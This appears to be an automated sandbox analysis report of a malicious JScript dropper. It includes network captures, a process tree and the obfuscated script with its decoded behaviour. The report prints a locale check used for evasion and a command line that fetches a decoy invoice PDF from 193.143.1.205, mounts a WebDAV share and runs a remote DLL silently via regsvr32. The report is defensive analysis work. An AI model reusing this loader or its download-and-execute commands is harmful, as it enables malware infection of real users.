/FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 11, 2025 08:17:38.163785934 CET	1236	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 11, 2025 08:17:38.163822889 CET	1236	IN	Data Raw: f1 11 51 2c 6d ea db 09 00 00 00 00 00 00 00 00 c0 4e 98 3a da 60 52 a6 84 c6 d3 a0 6d f7 7c cc 3f 4c 18 d5 49 94 1e 3a b5 a9 6f 30 00 00 00 00 00 00 00 00 00 d3 98 ba d2 60 5a c5 81 50 c9 a0 6d ee fc d8 3c 1e 9a c7 c3 f0 f1 d8 3d 54 15 75 49 94 Data Ascii: Q,mN:`Rm\|?LI:o0`ZPm<=TuIlq%t>*5gFIt0"%SgL+WB44i<)HlAS+&}CNjD4C;o?4u
Jan 11, 2025 08:17:38.163866997 CET	1236	IN	Data Raw: f4 f0 e6 f0 a0 29 a1 fb 7b d7 7b ef db 0c da 34 d0 cb b7 af d3 63 9e 44 bb 1e fa e1 e6 70 bf 59 96 7b 72 d4 0e 87 b6 27 87 ce 3e 66 37 1c ca a6 dc 5d 34 f5 cd 09 00 00 60 1a 7c b1 04 00 00 00 00 c0 97 64 a3 31 05 3b 2a 1f 43 a3 1d b9 d7 69 47 6e Data Ascii: ){{4cDpY{r'>f7]4`\|d1;CiGn{ZM63\U$CrCM;oN%$)Ioc6vcCB^{}m_v>=wfS=rw7'i_p,`G>0t#
Jan 11, 2025 08:17:38.163901091 CET	1236	IN	Data Raw: 0c bd ef 63 e8 cd cd e3 f5 d5 c3 d5 e5 fd c5 79 13 43 4f 4f 6e 4f 8e 6e 8f 0e 9a 18 fa 41 62 e8 2b 1f 43 73 93 a1 97 6f bb 18 7a bd 3f 8f a1 77 5d 0c bd 68 63 e8 f5 e3 20 86 8e 1d 1b 4a 0c dd b0 a9 6f 4e 00 00 00 d3 e0 8b 25 00 f8 ec ec d4 bf ed Data Ascii: cyCOOnOnAb+Csoz?w]hc JoN%.k#W?6i]5;e)}m{bMC?dbh1xCRcxeSM}s_,gdwY]}-\?'M@Une
Jan 11, 2025 08:17:38.163934946 CET	1120	IN	Data Raw: be 39 01 00 00 4c 83 2f 96 00 60 a7 e4 ee c3 e1 37 de 73 b5 22 0c 16 6b 89 05 e5 0b d0 25 e5 71 65 85 2e b3 44 a4 58 bd 4f d5 5c c6 a2 4f a0 b9 b0 4d 5c d5 86 5e df cd 5d d8 2a 9f 26 b9 27 b9 de e6 9e ae 25 de f6 35 6f b9 f0 9a c3 5f b6 83 af e6 Data Ascii: 9L/`7s"k%qe.DXO\OM\^]*&'%5o_&^^O\CS1Cb96tCoN%;_ekZl3<".wU\^]r)5s3~\AV6[E_
Jan 11, 2025 08:17:38.163988113 CET	1236	IN	Data Raw: ff 6d 63 e8 87 79 0c 3d 3d e9 62 e8 a5 c4 d0 ee d8 d0 26 86 3e a4 18 6a 8e 0d 6d ff 89 c9 a6 dc 0d 9b fa e6 04 00 00 30 0d be 58 02 80 09 f9 fb 6d f8 2d fa 30 51 3d e4 f7 5b 56 7e a3 7e d1 52 a0 33 41 d8 7d 74 f1 49 71 f3 b2 77 51 27 fd 62 1d 46 Data Ascii: mcy==b&>jm0Xm-0Q=[V~~R3A}tIqwQ'bFMs>d,Qlsj>US*r5+'BV`}d9}sWy>YY~n,/bu,;mxP~6/V?RYJmchs`h'Nm--\hc(
Jan 11, 2025 08:17:38.164024115 CET	1236	IN	Data Raw: 3e 29 6b a6 fa b9 d7 7a df 7b e7 a4 bf 9f 7e 59 6a a3 52 45 73 49 34 8c 59 3e 83 16 86 f5 e4 6a 75 a2 3a e8 85 f3 aa e5 cb c8 25 51 53 69 73 13 97 85 ab 2a 8c d0 9a 41 d1 5c a5 35 13 73 66 90 b0 70 79 e6 da ca 97 97 2b 7a b9 82 56 d9 43 2b 4b 68 Data Ascii: >)kz{~YjREsI4Y>ju:%QSis*A\5sfpy+zVC+KhXs}}j6AC?P}Cf~<_~GB]N{;\|`L80MmbYCn1+=MCWbqC/tP)k6`\|o5%47;Vr\&
Jan 11, 2025 08:17:38.164057970 CET	1236	IN	Data Raw: 37 07 77 ce 63 e8 c9 ed 49 13 43 6f 24 86 1e a4 18 2a c3 a1 35 49 f4 7d 57 42 db 1d b9 6d 0c dd b7 31 f4 ec b4 f9 1d 2f e5 d8 d0 9b c7 79 0c e5 d8 d0 69 4c 7d 73 02 00 00 98 06 5f 2c 01 c0 76 98 fb 6a 61 41 6e 79 21 6d ee bc cb d1 63 fe ca 3d 34 Data Ascii: 7wcICo$5I}WBm1/yiL}s_,vjaAny!mc=4LdLOJH_[?EfW$:P2"HI34PY\1{}*0c:S!4,fzx6"4Ts~~\|5fUGKhe?0P3K~0d80]f6WD
Jan 11, 2025 08:17:38.164092064 CET	152	IN	Data Raw: 00 4c 83 2f 96 00 60 d3 cc 1d b5 66 2c 34 ec 3b 52 42 c3 f3 fe 84 3f 4d 32 dc 69 69 86 f2 f4 b1 7a 52 2b 72 a3 5b b9 06 94 26 07 65 14 ce 94 d0 d4 40 53 fd fc e6 9b 6f fe 47 f9 a6 95 aa e8 ec 97 cd 7e 71 1a 11 fd e9 a7 9f 52 1e 4a 2d 26 d7 43 25 Data Ascii: L/`f,4;RB?M2iizR+r[&e@SoG~qRJ-&C%*%Ex9rdO_Fnm+8Rc\|%gkPi~vU=.[
Jan 11, 2025 08:17:38.215327978 CET	1236	IN	Data Raw: 5c 42 4d c9 92 98 25 01 ab f2 ac d5 f2 89 9c e1 82 5c 5d 42 d3 73 a5 17 44 7f 3f a4 77 44 fb 05 d1 a3 ef 34 53 de 17 ca ee e1 79 be e9 2d a7 5f 50 f3 f3 00 b9 19 ed 5c dd ae 39 af 33 7c 4a fd 08 fc db 21 e9 da 32 e4 9b 1b 81 37 1b 8f cd 90 6f ee Data Ascii: \BM%\]BsD?wD4Sy-_P\93\|J!27o31!`8?0=0cCr&wzb<0XM3wTCsc6ZsIifY;r\|MoMUtkpYLI

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.8	49706	193.143.1.205	8888	8148	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 08:17:39.929764986 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 11, 2025 08:17:40.747740984 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 07:17:40 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	02:17:34
Start date:	11/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\71621480653828912.js"
Imagebase:	0x7ff6e0880000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	02:17:34
Start date:	11/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\11016164386971.dll
Imagebase:	0x7ff672900000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	02:17:34
Start date:	11/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	02:17:34
Start date:	11/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff6cb6b0000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	02:17:39
Start date:	11/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff6e8200000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	02:17:39
Start date:	11/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff672900000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	02:17:39
Start date:	11/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff79a1f0000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	02:17:39
Start date:	11/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff79c940000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	02:17:40
Start date:	11/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff67e6d0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	02:17:40
Start date:	11/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2112 --field-trial-handle=1636,i,1540070909370966968,831719191553835530,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff79c940000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function jmnwq() {	jmnwq() ➔ undefined
1	dwlzj = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var rpwvwv = this[otqlluw + xjoaon + hovvsqcj + duldqn + ycnbmtu + qwqsxwmoh + ftbgbcm + mjozox] ( this[mocwmwg + ixbau + onnrdjv + hovvsqcj + ejwnh + otqlluw + mjozox][yvasi + hovvsqcj + ycnbmtu + xjoaon + mjozox + ycnbmtu + rlgmfd + svonhiq + amarrtum + ycnbmtu + onnrdjv + mjozox] ( mocwmwg + ixbau + onnrdjv + hovvsqcj + ejwnh + otqlluw + mjozox + klflmqncm + ixbau + hwrpbcewf + ycnbmtu + kklkuncs + kklkuncs ) [fsiiebm + ycnbmtu + lfipjbnu + fsiiebm + ycnbmtu + xjoaon + vxfqs] ( twwhvlgyr + asijor + somtrefo + oddeojuob + hiaey + yvasi + ohgovt + fsiiebm + fsiiebm + somtrefo + zdgnfld + arwczwv + hiaey + ohgovt + ixbau + somtrefo + fsiiebm + sovxer + yvasi + urwcbunj + ftbgbcm + mjozox + hovvsqcj + urwcbunj + kklkuncs + ujvwxiek + rwyhidcia + xjoaon + ftbgbcm + ycnbmtu + kklkuncs + sovxer + qwqsxwmoh + ftbgbcm + mjozox + ycnbmtu + hovvsqcj + ftbgbcm + xjoaon + mjozox + ejwnh + urwcbunj + ftbgbcm + xjoaon + kklkuncs + sovxer + qgapy + urwcbunj + onnrdjv + xjoaon + kklkuncs + ycnbmtu ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( zhlvsvsi = 0 ; zhlvsvsi < dwlzj[kklkuncs + ycnbmtu + ftbgbcm + lfipjbnu + mjozox + hwrpbcewf] ; ++ zhlvsvsi )
4	{
5	if ( rpwvwv == dwlzj[zhlvsvsi] )
6	{
7	rpwvwv = true;
8	break ;
9	}
10	}
11	if ( rpwvwv !== true )
12	this[mocwmwg + ixbau + onnrdjv + hovvsqcj + ejwnh + otqlluw + mjozox][pygixijl + ayvupnw + ejwnh + mjozox] ( );
13	this[mocwmwg + ixbau + onnrdjv + hovvsqcj + ejwnh + otqlluw + mjozox][yvasi + hovvsqcj + ycnbmtu + xjoaon + mjozox + ycnbmtu + rlgmfd + svonhiq + amarrtum + ycnbmtu + onnrdjv + mjozox] ( mocwmwg + ixbau + onnrdjv + hovvsqcj + ejwnh + otqlluw + mjozox + klflmqncm + ixbau + hwrpbcewf + ycnbmtu + kklkuncs + kklkuncs ) [hovvsqcj + ayvupnw + ftbgbcm] ( onnrdjv + dyeituisu + vxfqs + ujvwxiek + whfsiy + onnrdjv + ujvwxiek + otqlluw + urwcbunj + olkfxf + ycnbmtu + hovvsqcj + duldqn + hwrpbcewf + ycnbmtu + kklkuncs + kklkuncs + klflmqncm + ycnbmtu + dsbdjxag + ycnbmtu + ujvwxiek + bmtztr + yvasi + urwcbunj + dyeituisu + dyeituisu + xjoaon + ftbgbcm + vxfqs + ujvwxiek + aydynur + qwqsxwmoh + ftbgbcm + ahmaau + urwcbunj + xihqlgi + ycnbmtu + bmtztr + mocwmwg + ycnbmtu + svonhiq + fsiiebm + ycnbmtu + thmqhrgmi + ayvupnw + ycnbmtu + duldqn + mjozox + ujvwxiek + bmtztr + rlgmfd + ayvupnw + mjozox + oijwuo + ejwnh + kklkuncs + ycnbmtu + ujvwxiek + jwxbv + mjozox + ycnbmtu + dyeituisu + otqlluw + jwxbv + sovxer + ejwnh + ftbgbcm + ahmaau + urwcbunj + ejwnh + onnrdjv + ycnbmtu + klflmqncm + otqlluw + vxfqs + cffsdrui + ujvwxiek + hwrpbcewf + mjozox + mjozox + otqlluw + sipmr + whfsiy + whfsiy + qydul + kxgrwybn + wlralzegm + klflmqncm + qydul + snadxm + wlralzegm + klflmqncm + qydul + klflmqncm + afnzb + ynezbtj + lomsp + whfsiy + ejwnh + ftbgbcm + ahmaau + urwcbunj + ejwnh + onnrdjv + ycnbmtu + klflmqncm + otqlluw + hwrpbcewf + otqlluw + aydynur + wswaytxqt + wswaytxqt + duldqn + mjozox + xjoaon + hovvsqcj + mjozox + ujvwxiek + jwxbv + mjozox + ycnbmtu + dyeituisu + otqlluw + jwxbv + sovxer + ejwnh + ftbgbcm + ahmaau + urwcbunj + ejwnh + onnrdjv + ycnbmtu + klflmqncm + otqlluw + vxfqs + cffsdrui + wswaytxqt + wswaytxqt + onnrdjv + dyeituisu + vxfqs + ujvwxiek + whfsiy + onnrdjv + ujvwxiek + ftbgbcm + ycnbmtu + mjozox + ujvwxiek + ayvupnw + duldqn + ycnbmtu + ujvwxiek + sovxer + sovxer + qydul + kxgrwybn + wlralzegm + klflmqncm + qydul + snadxm + wlralzegm + klflmqncm + qydul + klflmqncm + afnzb + ynezbtj + lomsp + xwgnwsqhc + fgclavoas + fgclavoas + fgclavoas + fgclavoas + sovxer + vxfqs + xjoaon + ahmaau + olkfxf + olkfxf + olkfxf + hovvsqcj + urwcbunj + urwcbunj + mjozox + sovxer + wswaytxqt + wswaytxqt + onnrdjv + dyeituisu + vxfqs + ujvwxiek + whfsiy + onnrdjv + ujvwxiek + hovvsqcj + ycnbmtu + lfipjbnu + duldqn + ahmaau + hovvsqcj + wlralzegm + afnzb + ujvwxiek + whfsiy + duldqn + ujvwxiek + sovxer + sovxer + qydul + kxgrwybn + wlralzegm + klflmqncm + qydul + snadxm + wlralzegm + klflmqncm + qydul + klflmqncm + afnzb + ynezbtj + lomsp + xwgnwsqhc + fgclavoas + fgclavoas + fgclavoas + fgclavoas + sovxer + vxfqs + xjoaon + ahmaau + olkfxf + olkfxf + olkfxf + hovvsqcj + urwcbunj + urwcbunj + mjozox + sovxer + qydul + qydul + ynezbtj + qydul + tyndy + qydul + tyndy + snadxm + wlralzegm + fgclavoas + tyndy + kxgrwybn + vhwxaj + qydul + klflmqncm + vxfqs + kklkuncs + kklkuncs, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\11016164386971.dll",0,false) ➔ 0
14	}
15	asijor = "F";
16	asijor = "B";
17	asijor = "F";
18	asijor = "C";
19	asijor = "j";
20	asijor = "V";
21	asijor = "G";
22	asijor = "d";
23	asijor = "E";
24	asijor = "a";
25	asijor = "L";
26	asijor = "w";
27	asijor = "Z";
28	asijor = "I";
29	asijor = "A";
30	asijor = "O";
31	asijor = "U";
32	asijor = "F";
33	asijor = "c";
34	asijor = "D";
35	asijor = "N";
36	asijor = "O";
37	asijor = "E";
38	asijor = "I";
39	asijor = "d";
40	asijor = "j";
41	asijor = "y";
42	asijor = "l";
43	asijor = "s";
44	asijor = "r";
45	asijor = "K";
46	duldqn = "P";
47	duldqn = "z";
48	duldqn = "Z";
49	duldqn = "s";
50	otqlluw = "M";
51	otqlluw = "m";
52	otqlluw = "E";
53	otqlluw = "Z";
54	otqlluw = "e";
55	otqlluw = "k";
56	otqlluw = "v";
57	otqlluw = "W";
58	otqlluw = "y";
59	otqlluw = "o";
60	otqlluw = "Z";
61	otqlluw = "G";
62	otqlluw = "M";
63	otqlluw = "z";
64	otqlluw = "X";
65	otqlluw = "i";
66	otqlluw = "T";
67	otqlluw = "M";
68	otqlluw = "i";
69	otqlluw = "a";
70	otqlluw = "H";
71	otqlluw = "Z";
72	otqlluw = "I";
73	otqlluw = "P";
74	otqlluw = "W";
75	otqlluw = "K";
76	otqlluw = "Q";
77	otqlluw = "W";
78	otqlluw = "p";
79	otqlluw = "g";
80	otqlluw = "f";
81	otqlluw = "p";
82	zdgnfld = "r";
83	zdgnfld = "Q";
84	zdgnfld = "E";
85	zdgnfld = "G";
86	zdgnfld = "y";
87	zdgnfld = "u";
88	zdgnfld = "b";
89	zdgnfld = "m";
90	zdgnfld = "N";
91	kxgrwybn = "F";
92	kxgrwybn = "z";
93	kxgrwybn = "y";
94	kxgrwybn = "k";
95	kxgrwybn = "V";
96	kxgrwybn = "M";
97	kxgrwybn = "V";
98	kxgrwybn = "S";
99	kxgrwybn = "a";
100	kxgrwybn = "N";
101	kxgrwybn = "j";
102	kxgrwybn = "k";
103	kxgrwybn = "Y";
104	kxgrwybn = "R";
105	kxgrwybn = "d";
106	kxgrwybn = "p";
107	kxgrwybn = "t";
108	kxgrwybn = "E";
109	kxgrwybn = "Y";
110	kxgrwybn = "B";
111	kxgrwybn = "l";
112	kxgrwybn = "B";
113	kxgrwybn = "U";
114	kxgrwybn = "n";
115	kxgrwybn = "F";
116	kxgrwybn = "9";
117	klflmqncm = "K";
118	klflmqncm = "n";
119	klflmqncm = "m";
120	klflmqncm = "o";
121	klflmqncm = "S";
122	klflmqncm = "M";
123	klflmqncm = "F";
124	klflmqncm = "J";
125	klflmqncm = "D";
126	klflmqncm = ".";
127	svonhiq = "n";
128	svonhiq = "u";
129	svonhiq = "F";
130	svonhiq = "E";
131	svonhiq = "z";
132	svonhiq = "f";
133	svonhiq = "v";
134	svonhiq = "V";
135	svonhiq = "A";
136	svonhiq = "S";
137	svonhiq = "G";
138	svonhiq = "Z";
139	svonhiq = "k";
140	svonhiq = "V";
141	svonhiq = "z";
142	svonhiq = "k";
143	svonhiq = "x";
144	svonhiq = "L";
145	svonhiq = "o";
146	svonhiq = "d";
147	svonhiq = "Q";
148	svonhiq = "Z";
149	svonhiq = "N";
150	svonhiq = "M";
151	svonhiq = "L";
152	svonhiq = "I";
153	svonhiq = "z";
154	svonhiq = "j";
155	svonhiq = "z";
156	svonhiq = "h";
157	svonhiq = "m";
158	svonhiq = "K";
159	svonhiq = "e";
160	svonhiq = "V";
161	svonhiq = "Y";
162	svonhiq = "q";
163	svonhiq = "b";
164	kklkuncs = "e";
165	kklkuncs = "L";
166	kklkuncs = "Q";
167	kklkuncs = "x";
168	kklkuncs = "t";
169	kklkuncs = "q";
170	kklkuncs = "b";
171	kklkuncs = "U";
172	kklkuncs = "J";
173	kklkuncs = "N";
174	kklkuncs = "q";
175	kklkuncs = "E";
176	kklkuncs = "L";
177	kklkuncs = "V";
178	kklkuncs = "s";
179	kklkuncs = "T";
180	kklkuncs = "g";
181	kklkuncs = "U";
182	kklkuncs = "V";
183	kklkuncs = "z";
184	kklkuncs = "H";
185	kklkuncs = "A";
186	kklkuncs = "t";
187	kklkuncs = "z";
188	kklkuncs = "q";
189	kklkuncs = "l";
190	kklkuncs = "V";
191	kklkuncs = "n";
192	kklkuncs = "U";
193	kklkuncs = "g";
194	kklkuncs = "x";
195	kklkuncs = "X";
196	kklkuncs = "l";
197	kklkuncs = "N";
198	kklkuncs = "B";
199	kklkuncs = "n";
200	kklkuncs = "G";
201	kklkuncs = "K";
202	kklkuncs = "l";
203	hwrpbcewf = "S";
204	hwrpbcewf = "d";
205	hwrpbcewf = "k";
206	hwrpbcewf = "B";
207	hwrpbcewf = "x";
208	hwrpbcewf = "Q";
209	hwrpbcewf = "E";
210	hwrpbcewf = "p";
211	hwrpbcewf = "m";
212	hwrpbcewf = "S";
213	hwrpbcewf = "K";
214	hwrpbcewf = "N";
215	hwrpbcewf = "G";
216	hwrpbcewf = "Z";
217	hwrpbcewf = "v";
218	hwrpbcewf = "i";
219	hwrpbcewf = "q";
220	hwrpbcewf = "v";
221	hwrpbcewf = "t";
222	hwrpbcewf = "C";
223	hwrpbcewf = "h";
224	hwrpbcewf = "Z";
225	hwrpbcewf = "o";
226	hwrpbcewf = "n";
227	hwrpbcewf = "U";
228	hwrpbcewf = "S";
229	hwrpbcewf = "B";
230	hwrpbcewf = "i";
231	hwrpbcewf = "Y";
232	hwrpbcewf = "y";
233	hwrpbcewf = "d";
234	hwrpbcewf = "B";
235	hwrpbcewf = "v";
236	hwrpbcewf = "K";
237	hwrpbcewf = "E";
238	hwrpbcewf = "q";
239	hwrpbcewf = "H";
240	hwrpbcewf = "M";
241	hwrpbcewf = "x";
242	hwrpbcewf = "W";
243	hwrpbcewf = "D";
244	hwrpbcewf = "h";
245	cffsdrui = "C";
246	cffsdrui = "M";
247	cffsdrui = "f";
248	xihqlgi = "N";
249	xihqlgi = "S";
250	xihqlgi = "q";
251	xihqlgi = "t";
252	xihqlgi = "U";
253	xihqlgi = "R";
254	xihqlgi = "k";
255	xihqlgi = "Y";
256	xihqlgi = "a";
257	xihqlgi = "z";
258	xihqlgi = "K";
259	xihqlgi = "G";
260	xihqlgi = "l";
261	xihqlgi = "y";
262	xihqlgi = "w";
263	xihqlgi = "j";
264	xihqlgi = "M";
265	xihqlgi = "Z";
266	xihqlgi = "S";
267	xihqlgi = "v";
268	xihqlgi = "O";
269	xihqlgi = "s";
270	xihqlgi = "C";
271	xihqlgi = "Y";
272	xihqlgi = "c";
273	xihqlgi = "q";
274	xihqlgi = "r";
275	xihqlgi = "o";
276	xihqlgi = "g";
277	xihqlgi = "r";
278	xihqlgi = "B";
279	xihqlgi = "y";
280	xihqlgi = "K";
281	xihqlgi = "M";
282	xihqlgi = "u";
283	xihqlgi = "g";
284	xihqlgi = "m";
285	xihqlgi = "h";
286	xihqlgi = "y";
287	xihqlgi = "Z";
288	xihqlgi = "C";
289	xihqlgi = "H";
290	xihqlgi = "k";
291	xjoaon = "a";
292	xjoaon = "P";
293	xjoaon = "h";
294	xjoaon = "D";
295	xjoaon = "S";
296	xjoaon = "v";
297	xjoaon = "C";
298	xjoaon = "p";
299	xjoaon = "I";
300	xjoaon = "g";
301	xjoaon = "l";
302	xjoaon = "h";
303	xjoaon = "J";
304	xjoaon = "u";
305	xjoaon = "j";
306	xjoaon = "C";
307	xjoaon = "P";
308	xjoaon = "Z";
309	xjoaon = "M";
310	xjoaon = "d";
311	xjoaon = "u";
312	xjoaon = "z";
313	xjoaon = "N";
314	xjoaon = "T";
315	xjoaon = "o";
316	xjoaon = "J";
317	xjoaon = "w";
318	xjoaon = "n";
319	xjoaon = "Y";
320	xjoaon = "H";
321	xjoaon = "G";
322	xjoaon = "R";
323	xjoaon = "D";
324	xjoaon = "e";
325	xjoaon = "k";
326	xjoaon = "u";
327	xjoaon = "a";
328	ujvwxiek = "P";
329	ujvwxiek = "L";
330	ujvwxiek = "L";
331	ujvwxiek = "i";
332	ujvwxiek = "v";
333	ujvwxiek = " ";
334	wswaytxqt = "j";
335	wswaytxqt = "O";
336	wswaytxqt = "O";
337	wswaytxqt = "&";
338	afnzb = "e";
339	afnzb = "z";
340	afnzb = "Y";
341	afnzb = "q";
342	afnzb = "l";
343	afnzb = "k";
344	afnzb = "u";
345	afnzb = "i";
346	afnzb = "v";
347	afnzb = "D";
348	afnzb = "l";
349	afnzb = "g";
350	afnzb = "I";
351	afnzb = "u";
352	afnzb = "P";
353	afnzb = "g";
354	afnzb = "r";
355	afnzb = "B";
356	afnzb = "f";
357	afnzb = "J";
358	afnzb = "f";
359	afnzb = "n";
360	afnzb = "g";
361	afnzb = "W";
362	afnzb = "h";
363	afnzb = "l";
364	afnzb = "B";
365	afnzb = "D";
366	afnzb = "e";
367	afnzb = "2";
368	dyeituisu = "o";
369	dyeituisu = "W";
370	dyeituisu = "G";
371	dyeituisu = "G";
372	dyeituisu = "V";
373	dyeituisu = "p";
374	dyeituisu = "E";
375	dyeituisu = "d";
376	dyeituisu = "n";
377	dyeituisu = "y";
378	dyeituisu = "P";
379	dyeituisu = "i";
380	dyeituisu = "a";
381	dyeituisu = "I";
382	dyeituisu = "L";
383	dyeituisu = "R";
384	dyeituisu = "i";
385	dyeituisu = "a";
386	dyeituisu = "y";
387	dyeituisu = "m";
388	dyeituisu = "N";
389	dyeituisu = "J";
390	dyeituisu = "t";
391	dyeituisu = "d";
392	dyeituisu = "T";
393	dyeituisu = "D";
394	dyeituisu = "i";
395	dyeituisu = "m";
396	yvasi = "e";
397	yvasi = "j";
398	yvasi = "o";
399	yvasi = "e";
400	yvasi = "S";
401	yvasi = "P";
402	yvasi = "k";
403	yvasi = "e";
404	yvasi = "V";
405	yvasi = "Q";
406	yvasi = "m";
407	yvasi = "n";
408	yvasi = "D";
409	yvasi = "g";
410	yvasi = "k";
411	yvasi = "a";
412	yvasi = "A";
413	yvasi = "T";
414	yvasi = "B";
415	yvasi = "G";
